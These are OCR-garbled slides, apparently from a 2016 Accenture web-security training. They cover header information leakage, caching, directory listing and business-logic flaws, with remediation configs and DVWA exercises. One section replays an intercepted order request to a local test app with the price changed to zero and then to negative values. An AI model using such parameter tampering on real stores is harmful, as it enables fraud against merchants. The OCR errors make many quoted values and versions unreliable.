— Pragma: no-cache
e Security headers:
— X-Frame-Options
— X-XSS-Protection
— X-Content-Type-Options
— Content-Security-Policy
— Access-Control-
 Information Leakage
— X-Powered-By
— Server
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Web Server Headers - Example

HITP/1.1 200 OK

Server: Apache/sZ.4_17 (Win3l)
¥-Powered-By: PHP/5_5_37

Thu, 1% Now 1581 08:52:00 GMT

OpeniEL/1.0.2d PHPRSS. 5327

Expires:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
Pragma: no-cache

Content-Length: 434

Comnmection: close

Content-Type: text/html

pre—check=0

Essentials

« About

« License

- FAQ

- Security Reports

Download!
+ From a Mirror
Documentation

« Version 2.4

- Version 2.2

- Version 2.0

« Trunk (dev;
Get Support

« Support

Get Involved

= Mailing Lists
= Bug Reports
= Developer Info

Subprojects

+ Docs
» Test
« Flood

€« C | 8 https;//httpd.apache.org/security/vulnerabilities_24.html

“~ Apache

R PROJECT

Apache httpd 2.4 vulnerabilities

This page lists all security vulnerabilities fixed in released versions of Apache hitpd 2.4. Each vulnerability is given a security impact rating by the Apache security
platform to platform. We also list the versions of Apache httpd the flaw is known to affect, and where a flaw has not been verified list the version with a question m;

Please note that if a vulnerability is shown below as being fixed in a "-dev" release then this means that a fix has been applied to the development source tree ani
This page is created from a database of vulnerabilities originally populated by Apache Week. Please send comments or corrections for these vulnerabilities to the

The initial GA release, Apache httpd 2.4.1, includes fixes for all vulnerabilities which have been resolved in Apache httpd 2.2.22 and all older releases. Consult thg
information.

Fixed in Apache httpd 2.4.24-dev

nia: HTTP_PROXY environment variable "httpoxy" mitigation CVE-2016-5357
HTTP_PROXY is a well-defined environment variable in a CGI process, which collided with a number of libraries which failed to avoid colliding with this CGI
namespace. A mitigation is provided for the httpd CGI environment to avoid populating the "HTTP_PROXY" variable from a "Proxy:" header, which has never
been registered by IANA_

This workaround and patch are documented in the ASF Advisory at htips /\www apache org/security/asi-httpoxy-respanse txt

Acknowledgements: We would like to thank Dominic Scheirlinck and Scott Geary of Vend for reporting and proposing a fix for this issue

Reported to security team: 2nd July 2016
Issue public: 16th July 2016

Update Released: 18th July 2016

Affects: 2423, 2420,2418,2417,2416,2412,2410,249,247,246,244,243,242, 241

Fixed in Apache httpd 2.4.23
important: TLS/SSL X.509 client certificate auth bypass with HTTP/2 CVE-2016-4979

For configurations enabling support for HTTP/2, SSL client certificate validation was not enforced if configured, allowing clients unauthorized access to
protected resources over HTTP/2. This issue affected releases 2.4.18 and 2.4.20 only.
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Web Server Headers - Example

=

log In Reaister

C' | G https://www.cvedetails.com/vulnerability-list. php?vendor id=74&product_id=128&version_id=200308&page=18&hasexp=0&opdos=0&opec=0&opov=08&opcsrf=0&opgpriv=080|

CVE Details

The ultimate security vulnerability datasource

Reset Password Activate Account

Search
View CVE

Home
Browse :
Vendors
Products
Vulnerabilities By Date
Vulnerabilities By Tvpe
Reports :
CW55 Score Report
CWS5S5 Score Distribution
Search :
Vendor Search
Product Search
Version Search
Vulnerability Search
By Microsoft References
Top 50 :
Vendors
Vendor Cvss Scores
Eroducts
Product Cvss Scores
Versions
Other :
Microsoft Bulletins
Buatrag Entries
CWE Definitions
About & Contact
Feedback
CVE Help
FA
Articles
External Links :
NVD Website
CWE Web Site

PHP » PHP » 5.5.37 : Security Vulnerabilities

Cpe Mame:cpe:/a:php:php:5.5.37

CVWSS5 Scores Greater Tham: 0 1 2 3 4 5 6 7 & 9

Sort Results By : CVE Number Descending CVE Number Ascending
Copy Results Download Results Select Table

CWSS Score Descending  MNumber Of Exploits Descending

# CVEID CWEID  #of Exploits Vulnerability Type(s) Publish Date Update Date Score Gained Access Level Access Complexity Authentication Conf. Avail.

Low

Integ.

1 CVE-2016-5288 119 DoS Overflow 2016-07-25  2016-08-04 7.5 Mone Remote Mot required Partial Partial Partial

The php_url_parse_ex function in ext/standard/url.c in PHP before 5.5.38 allows remote attackers to cause a denial of service (buffer over-read) or possibly have unspecified other impact via vectors involving
the smart_str data type.

2 CVE-2016-6290 416 DoS 2016-07-25  2016-08-04 7.5 Mone Remote Low Mot required Partial Partial Partial

ext/session/session.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.2 does not properly maintain a certain hash data structure, which allows remote attackers to cause a denial of service (use-
after-free) or possibly have unspecified other impact via vectors related to session deserialization.

3 CWE-2016-6291 119 DoS Overflow Mem. Corr. +Info 2016-07-25  2016-08-04 7.5 Mone Remote Low Mot required Partial Partial Partial

The exif_process_IFD_in_MAKERNOTE function in ext/exif/exif.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 allows remote attackers to cause a denial of service (out-of-bounds array access
and memory corruption), obtain sensitive information from process memory, or possibly have unspecified other impact via a crafted JPEG image.

4 CVE-2016-6294 125 DoS 2016-07-25  2016-08-04 7.5 Mone Remote Low Mot required Partial Partial Partial

The locale_accept_from_http function in ext/intl/locale/locale_methods.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 does not properly restrict calls to the ICU uloc_acceptlanguageFromHTTR
function, which allows remote attackers to cause a denial of service (out-of-bounds read) or possibly have unspecified other impact via a call with a long argument.

5 CVE-2015-5295 416 DoS 2016-07-25 2016-08-04 7.5 MNone Remote Low Partial Partial Partial

ext/snmp/snmp.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.2 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to cause a denial
of service (use-after-free and application crash) or possibly have unspecified other impact via crafted serialized data, a related issue to CVE-2016-5773.

Mot required

6 CWE-2016-6296 119 DoS Overflow 2016-07-25  2016-08-04 7.5 Mone Remote Low Mot required Partial Partial Partial

Integer signedness error in the simplestring_addn function in simplestring.c in xmlrpc-epi through 0.54.2, as used in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9, allows remote attackers to cause
a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via a long first argument to the PHP xmlrpc_encode_request function.

7 CVE-2016-6289 190 DoS Overflow 2016-07-25  2016-08-04 6.8 Mone Remote Medium Mot required Partial Partial Partial

Integer overflow in the virtual_file_ex function in TSRM/tsrm_virtual_cwd.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 allows remote attackers to cause a denial of service (stack-based buffer
overflow) or possibly have unspecified other impact via a crafted extract operation on a ZIP archive.

8 CVWE-2016-6297 119 DoS Overflow 2016-07-25  2016-08-04 6.8 Mone Remote Medium Mot required Partial Partial Partial

Copyright © 2016 Accenture All rights reserved.



Web Server Headers - Example

 https://www.exploit-db.com/

& https://www.exploit-db.com

EKAPTIA“BIESE Home Exploits Shellcode Papers Google Hacking Database Submit Search

Offensive Security Exploit Database Archive 35484

The Exploit Database - ultimate archive of Exploits, Shellcode, and Security Papers. New to the site? Learn about the Exploit Database EXp|OI[S Archived

The Exploit Database EE&@ ﬂ, @ H |
The Exploit Database (EDB) is a CVE compliant archive of exploits and I_,—J
vulnerable software. A great resource for penetration testers, > bl
vulnerability researchers, and security addicts alike. Our goal is to l_j
collect exploits from various sources and concentrate them in one, easy
__J
_/
= 4

to navigate database

Download the Exploit Database Archive

- CVE Compllant

cve.mitre.org

Remote Exploits = f ¥ O A

This exploit cat

s exploits for remote serv or applications, including client side exploits

DateAdded D A V Title

Author

3alancer 5.4.0.004 - Post Auth Remote Root nux
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Web Server Headers - Remediation

 /etc/httpd/conf/httpd.conf
» <|fModule headers _module>
Header unset Server

Header unset X-Powered-By
</IfModule>
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Web Cache Headers - Example

 Header set Cache-Control "max-age=290304000,
public”

127.0.01:1337 /secret.tud

Thi= is a secret page. Shhh...

HTTP,s1.1 Z00 QK

Date: Wed, 10 Aug Z01ls 07:38:54 GMT

Serwver: Apache/sZ_4_17 (Win3Z) Opens5LS1.0.Zd PHPSLS.S.37
Last-Modified: Wed, 10 Auwg Z01ls 07:38:Z& GMT

ETag: "le-535%hIlhcllac8d"

Avcept-Ranges: byvtes

|Content—Length: 30
|Eache—CDntrDl: max-age=2590304000, puhlicl

Connection: close

Content-Type: text/plain

This is a secret page. Shhh. ..
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Web Cache Headers - Example

about:cache

Information about the Network Cache Storage Service

Private Anonymous

memory

Number of entries:
Maximum storage size:
Storage in use:
Storage disk location:
List Cache Entries

disk

MNumber of entries:
Maximum storage size:
Storage in use:
Storage disk location:
List Cache Entries

appcache

Number of entries:
Maximum storage size:
Storage in use:
Storage disk location:

ApplD In Browser Element | Update
351
32768 KiB
3587 KiB

ncne, only stored in memory

11779
358400 KiB
349704 KiB

C:\Uzeratalise.silde\&ppData‘\Local\MozillahFirefox\Profileathasfatgul.defaulticache2

a

512000 KiB

0 KiB
C:\Users\alise.silde\AppDatai\Local\Mozillah\Firefox\Profiles\sa%atgud.defaulty

nEs

{#hii

lineCache
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Web Cache Headers - Example

about:cache-entry?storage= disk&context= &eid=Buri=http://127.0.0 1:1337 /secret et

Search

Cache entry information

key: Rttp://127.0.0.1:1337/32cret.txe
fetch count: 2
last fetched: 2016-08-10 10:43:25
last modified: 2£018-08-10 10:38:55
expires: 2025-10-22 10:38:54
Datasize: 30 B
Security: This decument does not have any security info asscciated with it.
necko:classified: 1
request-method: GET
response-head: HTTP/1.1 200 COK
Date: Wed, 10 Rug 2016 07:38:54 GMT
Server: Apache/2.4.17 (Win32) COpenS5L/1.0.2d PHP/5.5.37
Last-Mcodified: Wed, 10 Aug 2016 07:38:26 GMT
Etag: "le-539%b2bc2lag8d"™
Accept-Ranges: bytes
Content-Length: 30
Cache-Control: max-age=290304000, public
Content-Type: text/plain
charset: Windows-1252
uncompressed-len: O
Qoggoooos: 54 &% €% 73 20 €% 73 2 6l 20 73 65 &3 72 65 74 This is a secret
a0000010: 20 70 61 &7 65 2e 20 53 6RO BE 6BE 2 28 2e page. Shhh...
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Web Cache Headers - Remediation

e« Cache-Control: no-cache, no-store, must-revalidate
 Pragma: no-cache

« Expires: -1

27 httpiM27.0.0.1:1337 GET isecret.tot
<

| Request | Response ]
J Raw T Headers T Hex ]

HTTP/1.1 304 Mot HModified
Date: Wed, 10 Auwg Z01le 07:47:24 GMT
Serwver:

Apache,/Z2_4_ 17 (Win3l) COpensSLS1.0.2d PHPSS. L. 327
Comnection: close

ETag: "le-535%hIlheollas8d"
Cache-Control:

no—cache, no-store, max—age=0, mast-rewvalidate

Copyright © 2016 Accenture All rights reserved.



Web Server Headers - Example

about:cachelstorage=disk&context=

Information about the Network Cache Storage Service

Private Anonymaous ApplD In Browser Element | Update |Backto overview

disk

Number of entries: 117739
Maximum storage size: 358400 EKiB
Storage inuse: 349704 KiBE

Storage disk location: C:\Userahalise.silde’\&ppData‘’LocaliMozilla\Firefox\FProfileatssfatgud.defaulticache2
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Directory Listing - Example

] 127.0.0.1:1337/listable_directon

Index of /listable directory

® Parent Directory
o ] txt
[ ]
[ ]

2 otxt
3 txt

Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/3.3.37 Server at 127.0.0.1 Port 1337
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Directory Listing - Remediation

« <Directory />
Options none
AllowOverride none
Require all denied
</Directory>
* Place a blank Index page in the directory
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Directory Listing - Remediation

* 127.0.0.1:1357/listable_directon

Forbidden

You don't have permission to access /listable directory/ on this server.

Apache/2.4.17 (Wini2) OpenSSL/1.0.2d PHP/3.5.37 Server at 127.0.0.1 Port 1337
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Exercises

« (o to about:cache in Firefox - what can you find from
DVWA exercises?

* Look at DWVA pages’ headers — are there any
software versions?

e Look up PHP 5.3.0 on CVE-Detalls and Exploit-DB
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Business Logic

« Uploading Unintended File Format

« Transferring a Negative Amount via an Online Bank
* Purchasing 0.1 of an Item in an Online Store

* Bypassing Stages of Multi-Step Processes
 |Indefinite Possibilities....

« Some Are Also Relevant to the Other Issues — e.g.
parameter manipulation, authorization bypass, direct
browsing, injection
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Application Workflow - Example

& 127.0.0.1:1337 fworkflow.php
Place Order:
Product: Nothing For Me = Quantity: 0 % Price: 0 Submit
Home

& 127.0.0.1:1337 fworkflow.php
DPlace Order:
Product: Big Red Button * Quantity: 1 %1 Price: 5
Home

o 127.0.01:1337 /workflow.php
Your Order Has Been Placed!

Product: Quantity: Price:
Big Red Button 1 3

Place another order!

Home
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Application Workflow - Example

* The price is not editable on the ordering page, as it is
In a ‘readonly’ field. However, it appears in the
request:

POST fworkflow.php HTTRPS1.1

Host: 1Z27.0.0.1:1337

User-Agent: Mozilla/s5. 0 (Windows NT £.1; WOWe4d; rv:47.0) Gecko /20100101 Firefox/47.0
Accept: text/html] , application/xhtml+txzml  applicacion/xml;gq=0.59_*/*;gq=0_8
Accept-Language: en-US, en;gq=0_5%

Avocept-Encoding: gzip, deflate

Beferer: http://127_0.0.1:1337/workflow. php

Cookie: PHPSESSID=jrmshohbripoualgfmegl434iaz

Connection: oclose

Content-Type: application/xz-www-form—urlencoded

Content-Length: &0

product=Bigt+PRedtButtonicquantity=liprice=5Saplace order=5Submit
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Application Workflow - Example

« The request can be repeated with a different price:

_[ Raw T Params T Headers T Hex ] [ Raw T Headers T Hex T HTHML T Render L
POST fworkflow.php HTTPSL.1 A

Host: 1727.0.0.1-1337 o Your Order Has Been Placed!
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWe4d; rwv:47.0)

Gecko/20100101 Firefox/47.0 Product: QUﬂllﬁt}':Pl‘]'.CE:

Aocept: .

text/html, application/xhtml+xml , application/xml;g=0.9,*/*;g=0_8 E'lg Red Button1 0

Accept-Language: en-US,en;qg=0_5
Accept-Encoding: gzip, deflate

Peferer: http://127.0.0.1:1337/workflow. php
Cookie: PHPSESSID=jrmshghbripoualgfmegh434ial
Connection: close

Place another order!
Home

Content-Type: application/x-www-form—urlencoded
Content-Lengch: &0

product=EBigtPedtButtonicuantity=laprice=0iplace order=Submit
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Application Workflow - Example

* Or even a negative price:

J Raw T Params T Headers T Hex ] [ Raw T Headers T Hex T HTKML I Render L
POST fworkflow.php HTTPS1.1 i
Host - ~7.0.0.1:-1337 . Your Order Has Been Placed!
User—-Agent: Mozilla/5.0 (Windows NT £.1; WOWe4d; rv:-47.0)
iec]zn!:DlDDlDl Firefox/47.0 Product: Quﬂl'lﬁt}’:Pl‘iCE:

coept: . -
text/htnl , application/xhtml+txm] , application/xml;gq=0.59,*%/*;gq=0_8 E'lg Red Button | -20

Aoccept-Language: en-US,en;q=0_58
Accept-Encoding: gzip, deflate

Beferer: http:// 127.0.0.1:1337/workflow. php
Coolkie: PHPSESSID=jrmshghbripoualgfmel434ial
Cormection: close

Place another order!
Home

Content-Type: application/x-www—-form-urlencoded
Content-Length: &2

product=Bigt+EedtButtondquantity=laprice=—Z0&place order=Submit
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Application Workflow - Example

« At the very minimum, the input should be checked to
be non-negative on the server side, e.qg.

{
& POST['price']>=

gs 5 POST['qu
ﬁ £: isset (s POST['product']) =& & _POST['pro

£s isset (5 POST['qu

_[ Raw I Params T Headers I Hex ] [ Raw I Headers I Hex I HTML I Render ]

POET fworkilow.php HTTP/Ll.1 A

Host: 177.0.0.1-1337 - Please Provide Correct Order Details!

User-Agent: Mo=zillasE.0 iWindows NT &.1; WOWed; rw:47.0)

Gecko/Z0100101 Firefox/47.0 Place Order

Accept: .
text/html,application/zhtmltxznl , application/xml;gq=0.9,*/*;gq=0.8 _ . | Nothing For Me v - . |0
Accept-Language: en-US,en;q=0.5 Product: | : J Qllal]tltj?. Price:
Aocept-Encoding: gzip, deflate Submit |

RBeferer: http:/ 127.0.0.1:1337 /workflow. phyp

Cookie: PHPSESSID=drmshghbrSpoualofughdidial Home

Connection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: &2

product=EigtRedtButtondquantity=liprice=-I0iplace order=5ubmit
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Exercises

« Damn Vulnerable Web App
— File Upload
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Great Tools

« OWASP ZAP
« SQL Map
 Burp Pro

« Kali Linux




Q&A

« Aigars Naglis aigars.naglis@accenture.com
 Alise Silde alise.silde@accenture.com
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